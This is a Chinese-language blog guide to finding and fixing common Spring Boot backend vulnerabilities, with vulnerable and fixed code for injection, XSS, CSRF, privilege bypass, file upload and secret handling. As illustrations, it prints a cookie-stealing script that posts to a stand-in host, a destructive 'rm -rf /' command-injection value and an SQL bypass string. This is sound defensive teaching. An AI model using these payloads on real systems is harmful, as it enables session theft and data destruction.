Spring Boot后端安全漏洞修复:从SQL注入到越权的实战指南

📅 发布时间:2026/10/21 8:45:29
Spring Boot后端安全漏洞修复:从SQL注入到越权的实战指南
这几年不管是自己维护项目还是帮别人做代码评审Spring Boot 后端里挖出来的安全漏洞真不算少。很多问题并不是那种需要多高深技巧才能发现的 0day恰恰是最基础的写法疏忽比如 SQL 拼接、接口不做权限校验、文件上传不限制类型。这篇就把我在实际项目中处理过的高频漏洞类型、修复思路、具体代码改法一次说清楚方便你直接对照排查。这篇内容适合谁主要给用 Spring Boot 做后端接口开发的工程师前后端分离项目尤其适用。你不需要是安全专家只要会写基本的 Java 和 Spring Boot 代码就能照着里面的方案修复自己项目里的问题。我尽量少讲空泛的理论多给能直接落地的写法。1. 先盘一盘 Spring Boot 项目里最常见的漏洞类型Spring Boot 给开发带来了极大的便利但也会带来一种错觉框架好像帮我们处理了安全。实际上很多漏洞恰恰是因为框架的“自动配置”和开发者的“过于信任”组合出来的。我按自己遇到过的案例频率把后端安全漏洞大致分成几类注入类漏洞SQL 注入、命令注入、表达式注入。SQL 注入永远排第一MyBatis 里#{}和${}写混的情况太常见了。跨站脚本XSS与跨站请求伪造CSRF尤其是前后端分离之后很多人觉得 CSRF 不需要管了但后端接口如果完全不做校验风险仍然存在。越权漏洞水平越权比如用户 A 通过改参数访问用户 B 的数据和垂直越权普通用户调用管理员接口经常被忽略。文件上传漏洞上传接口不限制扩展名、不校验文件头、不限制大小导致恶意文件被当作静态资源访问。敏感信息泄露配置文件里裸奔的数据库密码、Redis 密码、密钥异常信息直接抛给前端日志里打印了用户手机号。依赖漏洞引入的第三方组件存在已知 CVE 漏洞却长期不升级。这些漏洞覆盖了 OWASP Top 10 里的大部分内容。修复的时候不建议头疼医头而是从“输入校验”“权限控制”“输出安全”“依赖治理”这几个维度一起梳理。很多开发者在公众号文章里看过安全概念但到了自己代码里不知道该从哪里下手其实大部分问题都能通过下面几个章节的方式解决。2. 注入类漏洞从 SQL 注入到更隐蔽的表达式注入2.1 SQL 注入的排查与修复后端接口里最容易出问题的就是动态 SQL。很多人都知道不要拼接字符串但实际改代码时还是会看到这样的写法// 错误示例直接拼接用户输入 String sql SELECT * FROM user WHERE name username ; jdbcTemplate.queryForList(sql);这种写法只要username传入 OR 11密码就被绕过了。修复方式是使用参数化查询// 正确示例参数绑定 String sql SELECT * FROM user WHERE name ?; jdbcTemplate.queryForList(sql, username);如果是 MyBatis问题更隐蔽。很多开发者知道#{}是预编译占位符${}是字符串替换但到了动态排序、动态表名场景还是会图省事用${}:!-- 危险orderByColumn 来源于前端参数 -- select idlistUsers resultTypecom.example.User SELECT * FROM user ORDER BY ${orderByColumn} ${orderDirection} /select这个位置没法用#{}因为排序字段和排序方向不能作为预编译参数绑定MySQL 的 ORDER BY 后面不认占位符。此时修复方式就是加白名单// 在 Service 层强制校验排序字段不在 SQL 里做任意拼接 private static final SetString SORT_WHITELIST Set.of(create_time, update_time, username); public ListUser listUsers(String orderByColumn, String orderDirection) { if (!SORT_WHITELIST.contains(orderByColumn)) { orderByColumn create_time; } boolean asc asc.equalsIgnoreCase(orderDirection) || ascending.equalsIgnoreCase(orderDirection); String direction asc ? ASC : DESC; // 此时 orderByColumn 已经过白名单校验可以安全拼接 return userMapper.listUsers(orderByColumn, direction); }这里有个经验如果哪个位置避免不了使用${}那这个位置输入的只能来自后端枚举或白名单绝对不能直接透传前端参数。如果团队有代码规范插件可以把这种写法加入检查项避免新代码继续踩坑。2.2 命令注入与表达式注入除了 SQL 注入命令注入和表达式注入也值得留意。命令注入常见于调用外部程序的功能比如传一个文件名给Runtime.exec()或者ProcessBuilder// 危险filename 若包含 ;rm -rf / 后果很严重 String cmd cat filename; Process process Runtime.getRuntime().exec(cmd);修复思路不是去过滤命令字符而是避免拼接 Shell 命令。用ProcessBuilder时通过参数列表传值不让系统 Shell 参与解析ProcessBuilder pb new ProcessBuilder(cat, filename); Process process pb.start();表达式注入更多发生在规则引擎、模板引擎、SPEL 表达式解析场景。比如使用SpelExpressionParser时如果表达式内容来自用户输入攻击者可利用反射能力构造Class对象执行恶意代码。能不用用户输入直接做表达式求值就别用如果确实需要规则配置只允许白名单内的方法调用。注意写代码时不要形而上学地堆砌各种过滤函数。安全的本质不是“过滤掉坏字符”而是“把数据当数据把代码当代码”。3. XSS 与 CSRF页面相关漏洞的后端防线3.1 XSS 攻击面与 Java 侧的处理XSS 看起来是前端问题但后端如果完全不管攻击者就能借接口注入恶意脚本。常见于评论、昵称、文章内容、搜索关键词回显这些位置。攻击者提交scriptfetch(//evil.example/steal?cookiedocument.cookie)/script如果后端把这段内容存到数据库然后在别的用户访问的页面上原样输出就会触发攻击。在后端能做几件事统一输入侧做 HTML 标签清洗、输出侧做转义、响应头加Content-Security-Policy。先说清洗推荐使用 OWASP 的 Java HTML Sanitizer 组件对富文本内容做白名单化的标签过滤// 引入依赖 // org.owasp.esanitizer:esapi (或使用 owasp-java-html-sanitizer) PolicyFactory policy Sanitizers.FORMATTING.and(Sanitizers.BLOCKS); String safeHtml policy.sanitize(userInputHtml);对于不需要富文本的普通文本更简单的方式是入库前直接剥离标签或者前端统一对 做转义。后端接口如果给 App 用返回 JSON 时强烈建议给响应头加上Content-Type: application/json; charsetutf-8 X-Content-Type-Options: nosniffnosniff这个头能防止浏览器把响应体错误解析成 HTML减少 MIME 嗅探型 XSS。还可以在安全相关配置类里加 CSPConfiguration public class SecurityHeadersConfig { Bean public FilterRegistrationBeanOncePerRequestFilter securityHeadersFilter() { FilterRegistrationBeanOncePerRequestFilter registration new FilterRegistrationBean(); registration.setFilter(new OncePerRequestFilter() { Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws ServletException, IOException { response.setHeader(X-Content-Type-Options, nosniff); response.setHeader(X-Frame-Options, DENY); response.setHeader(Content-Security-Policy, default-src self); chain.doFilter(request, response); } }); registration.addUrlPatterns(/*); return registration; } }3.2 CSRF 校验的取舍CSRF 的原理是浏览器会自动携带 Cookie攻击者可以在自己的页面上构造表单提交或 AJAX 请求诱导已登录用户触发操作。传统方案是校验 Token、请求头或同源检查。Spring Security 默认启用 CSRF 防护很多前后端分离项目嫌麻烦直接禁掉http.csrf(csrf - csrf.disable());如果你项目里所有的接口都使用 Token比如放在 Header 里的 JWT并且不使用 Cookie 会话禁用 CSRF 是可接受的。但很多项目仍然是 Cookie 会话模式或者部分接口兼容 Cookie这时就不能一刀切禁用。折中的做法是保留 CSRF 防护但通过CookieCsrfTokenRepository.withHttpOnlyFalse()让前端读取 Token并在每次请求时放到自定义 Header 里。也可以换一种思路在后端过滤器里校验非 GET 请求的Referer或Origin头和当前域名一致才放行。这个方案对纯 API 场景侵入性更小也能挡住大部分跨站请求。经验CSRF 的核心矛盾是“浏览器自动携带身份凭证”。如果你正在从 Cookie 会话切换为 Header Token这一步应该尽早完成。只要 Cookie 还存在CSRF 的威胁就没有真正消除。4. 越权漏洞与文件上传的实战修法4.1 水平越权不能只依赖前端隐藏按钮水平越权是我见过的发生频率最高的漏洞。后端接口只判断了“用户是否登录”但没有判断“这条数据是否属于这个用户”。典型场景// 危险任何登录用户都能删除其他用户的订单 DeleteMapping(/order/{id}) public Result deleteOrder(PathVariable Long id) { orderService.delete(id); return Result.success(); }攻击者登录自己的账号然后遍历id参数就能把别人的订单删掉。修复方式是在业务层做归属校验DeleteMapping(/order/{id}) public Result deleteOrder(PathVariable Long id, AuthenticationPrincipal LoginUser loginUser) { OrderDO order orderService.getById(id); if (order null) { return Result.fail(订单不存在); } // 校验订单归属当前登录用户 ID 必须与订单用户 ID 一致 if (!order.getUserId().equals(loginUser.getUserId())) { // 统一抛业务异常不要暴露“订单存在”或“订单不存在”的区别 throw new BizException(ErrorCode.FORBIDDEN); } orderService.delete(id); return Result.success(); }这种校验应该下沉到 Service 层而不是在 Controller 层写完就不管因为同一个接口可能被多个入口调用。水平越权往往和“只用了主键 ID”有关可以尽量使用不可枚举的业务编号如带随机后缀的单号但根本解法还是每次操作都校验资源所有权。4.2 垂直越权接口权限要显式声明垂直越权就是普通用户调用管理员接口。很多项目只在菜单上隐藏了入口但 Controller 没有任何注解或拦截校验。修复的核心是引入显式的权限模型。如果使用 Spring Security可以在方法上加PreAuthorizePreAuthorize(hasRole(ADMIN)) PostMapping(/user) public Result createUser(RequestBody CreateUserRequest request) { userService.create(request); return Result.success(); }需要注意的是hasRole(ADMIN)和hasAuthority(admin:delete)是两种权限模型。按钮级权限建议用后者通过PreAuthorize(hasAuthority(user:delete))来做更细的校验。同时全局开启方法级安全EnableGlobalMethodSecurity(prePostEnabled true, securedEnabled true)除了注解还建议写一个全局的接口权限扫描工具启动时检查哪些接口没有加任何安全注解输出告警列表。这样可以尽早发现漏网的接口。4.3 文件上传的完整校验链文件上传的坑也非常多。只校验扩展名完全不够攻击者可以上传一个xxx.jpg.jsp或者在图片文件头GIF89a后面拼接恶意脚本。我建议至少做四层校验校验扩展名白名单只允许.jpg .png .gif .pdf .zip等常用类型。校验 MIME Type通过文件流识别真实类型不要信任前端提交的contentType。校验文件内容头图片文件的二进制前缀有固定特征。限制文件大小提前设置上传最大值防止超大文件拖垮服务端。用 Spring 实现时可以使用 Apache Tika 检测真实文件类型dependency groupIdorg.apache.tika/groupId artifactIdtika-core/artifactId version2.9.0/version /dependencypublic boolean isAllowedImage(MultipartFile file) throws IOException { // 1. 扩展名校验 String originalFilename file.getOriginalFilename(); String ext StringUtils.getFilenameExtension(originalFilename); if (!Set.of(jpg, jpeg, png, gif, webp).contains(ext ! null ? ext.toLowerCase() : )) { return false; } // 2. 内容类型校验 String detectedType new Tika().detect(file.getInputStream(), originalFilename); return detectedType ! null detectedType.startsWith(image/); }文件存储路径也很关键。不要把上传文件存到应用根目录的静态资源目录下。建议使用独立的文件服务器、OSS 对象存储或者存到应用目录之外通过受控的下载接口读取。否则用户上传了.html或.svg文件就能借助同域路径发起 XSS。之前遇到一个案例某公司网盘功能允许上传.html文件存储路径正好在 Nginx 静态资源目录攻击者上传一个钓鱼页面然后诱导内部员工点击账号信息全被收集。修复方式是调整存储路径并给下载接口强制加Content-Disposition: attachment。5. 敏感信息保护与依赖漏洞治理5.1 配置文件里的秘密不能明文Spring Boot 的application.yml往往存储在 Git 仓库里。数据库密码、Redis 密码、第三方 AppSecret 明文写在里面等于把这些密钥共享给了所有能访问代码仓库的人。修复方向有几个使用环境变量占位符${DB_PASSWORD}部署环境注入真实值。使用配置中心如 Nacos、Apollo管理敏感配置项目里只留占位符。使用 Jasypt 组件对配置值加密运行环境提供解密密钥。Jasypt 用法如下先引入依赖dependency groupIdcom.github.ulisesbocchio/groupId artifactIdjasypt-spring-boot-starter/artifactId version3.0.5/version /dependency配置变成spring: datasource: url: jdbc:mysql://localhost:3306/demo username: root password: ENC(加密后的密文)启动时通过环境变量注入解密密钥java -jar app.jar --jasypt.encryptor.password你的解密密钥不过 Jasypt 并不是万无一失密钥一样泄露的话密文也能解出来。真正稳妥的方案是使用云厂商的密钥管理服务KMS让应用运行时从 KMS 获取密钥密钥不落盘。5.2 日志与异常信息同样会泄露敏感数据另一个低频但高危害的问题是日志。排查线上问题时会顺手log.info(user: {}, user)结果把手机号、身份证号、甚至密码明文打到了日志系统里。如果日志平台权限没控制好等于所有能看日志的人都拿到了用户数据。建议用日志脱敏工具或者在 DTO 输出时专门写序列化策略。简单做法是定义脱敏工具类对手机号、邮箱、身份证做中间打码public String maskPhone(String phone) { if (phone null || phone.length() 7) { return ****; } return phone.substring(0, 3) **** phone.substring(7); }全局异常处理器也要注意不要把异常堆栈原样返回给前端。定义统一异常响应体只返回错误码和提示信息完整堆栈打到服务端日志即可。我之前排查过一个项目报错时直接把 SQL 语句和参数一起返回给前端攻击者能通过构造错误请求获取表结构信息这属于典型的敏感信息泄露。5.3 依赖漏洞排查与升级策略Spring Boot 依赖数量多版本升级又频繁很容易藏着已知漏洞。检查工具用 OWASP Dependency-Check 或 Maven 插件就能跑mvn org.owasp:dependency-check-maven:check输出dependency-check-report.html里面会列出存在 CVE 的组件、漏洞等级和修复建议版本。这里有一个实际经验不要一看到 CVE 就盲目升到最新大版本可能会引入不兼容变更。合理做法是确定一个“安全基线版本”例如 Spring Boot 使用某项版本然后定期进行安全检查如果漏洞影响应用实际暴露的攻击面才立刻升级。比如某个 JSON 解析库漏洞可以通过恶意 JSON 触发而你的应用确实把 JSON 解析暴露给外部那么必须尽快升如果漏洞只在特殊配置下触发可以排期处理。也要关注传递依赖。你看到的pom.xml里没有直接引入某个库但它作为 Spring Boot Starter 的传递依赖被带进来了检查时照样会报漏洞。此时可以在显式依赖中用exclusions排除旧版本再引入安全版本。6. 常见问题排查与自查清单6.1 参数校验写在 Controller 还是 Service这个问题经常被讨论我的建议是两层配合Controller 层负责格式校验非空、长度、手机号格式Service 层负责业务校验归属、状态、权限。只在前端校验绝对不行因为接口可以被直接调用。Spring Boot 里使用ValidNotBlank等注解做参数校验Data public class CreateUserRequest { NotBlank(message 用户名不能为空) private String username; Pattern(regexp ^[1][3-9]\\d{9}$, message 手机号格式不正确) private String phone; }Controller 参数加Valid RequestBody。但是记住Valid只是防君子不防小人别把唯一的安全防线放在这后面的权限校验和业务校验绝不能省略。6.2 拦截器、过滤器、AOP 的执行顺序修复漏洞时经常要加过滤器或拦截器做统一校验很多开发者没搞清顺序。Spring Boot 中执行顺序大致是FilterServlet 过滤器在 Spring 容器之外注册最先执行InterceptorSpring MVC 拦截器AspectAOP 切面如果要做全局的请求日志、Token 解析、CSRF 校验建议用 Filter如果要绑定到某些 URL 模式做 Handler 级别校验用 Interceptor。常见坑是自定义 Filter 没加Order导致执行顺序不对劲或拦截器不生效是因为没在WebMvcConfigurer里注册。Configuration public class WebConfig implements WebMvcConfigurer { Autowired private AuthInterceptor authInterceptor; Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(authInterceptor) .addPathPatterns(/api/**) .excludePathPatterns(/api/login, /api/register); } }6.3 安全自查清单结合多年的代码评审经验我整理了一份后端安全检查表你可以直接拿来做项目上线前的自查检查项检查方法修复参考SQL 注入全局搜索#{}与${}用法对${}逐个排查输入来源参数化查询、白名单校验XSS 漏洞检查所有富文本输入是否存在清洗非富文本是否统一转义OWASP Sanitizer、CSP 头CSRF 风险确认认证方式非 Cookie 场景需评估禁用后的风险保留 Token 校验或同源校验水平越权抽查删除、修改、查询接口是否校验数据归属业务层做 userId 归属校验垂直越权扫描所有接口是否有PreAuthorize或权限校验逻辑权限注解显式声明文件上传检查上传接口的扩展名校验与真实类型识别Tika 白名单 存储隔离敏感信息检查配置文件、日志输出、异常响应体中是否含密钥与个人数据环境变量、脱敏、统一错误码依赖漏洞定期执行 Dependency-Check升级或排除存在 CVE 的组件默认配置确认是否关闭了 actuator 未授权端点只暴露 health其他端点用权限保护HTTPS 与 HSTS生产环境确认是否强制 HTTPS跳转配置 HSTS 响应头6.4 修复过程中容易忽略的细节很多开发者修复漏洞时会陷入两个极端要么只在验证环境改一下不上线跟进要么改完一处就觉得万事大吉。我自己的经验是修复后一定做一次回归重点测试原来是漏洞的路径同时确认正常功能没有被破坏。比如改 SQL 注入时原来ORDER BY ${orderByColumn}可能支持create_time desc改白名单后写成ORDER BY create_time DESC语义没变但是前端传的desc大小写不同也需要兼容。再比如给查询接口加数据归属校验后某条数据因为关联组织问题原本能达到某个状态被新校验拦截后出现接口报错这些都是在具体业务里才会遇到的情况。另外要坚持一个原则安全修复要尽量统一不要像打补丁一样这里修一处、那里改一处。最好是项目里沉淀一套公共模块比如统一的AuthUtil、统一的FileStorageService、统一的SecurityUtils所有新功能都走同一套代码路径。这样下次再评审时只需要检查新代码有没有绕过公共组件。写在最后老实说我自己早期也犯过不少错误。最典型的某次是给一个管理后台加了导出功能当时为了赶进度直接用字符串拼接 SQL结果上线后被安全测试扫出来。那次之后我就长记性了任何从外部传入的参数默认都先当不可信数据处理。设计接口时先想清楚“如果这个参数被恶意构造会怎样”而不是先想“正常情况下这个参数是什么”。安全漏洞修复永远是一个持续过程今天把 SQL 注入堵住了明天可能还有 Log4j 这样的组件漏洞出现。保持对依赖的检查习惯保持代码评审时对安全问题的敏感度项目就会稳定很多。这套方法我用了几年修复过的大小问题加起来有几十个每次都能在公告发布前把漏洞处理掉关键是坚持把安全当作开发的一部分。后续如果条件允许我打算把本地的安全检测流程做成一个小的命令行工具把依赖检查、加密扫描、配置检查这些步骤自动化到时候再做分享。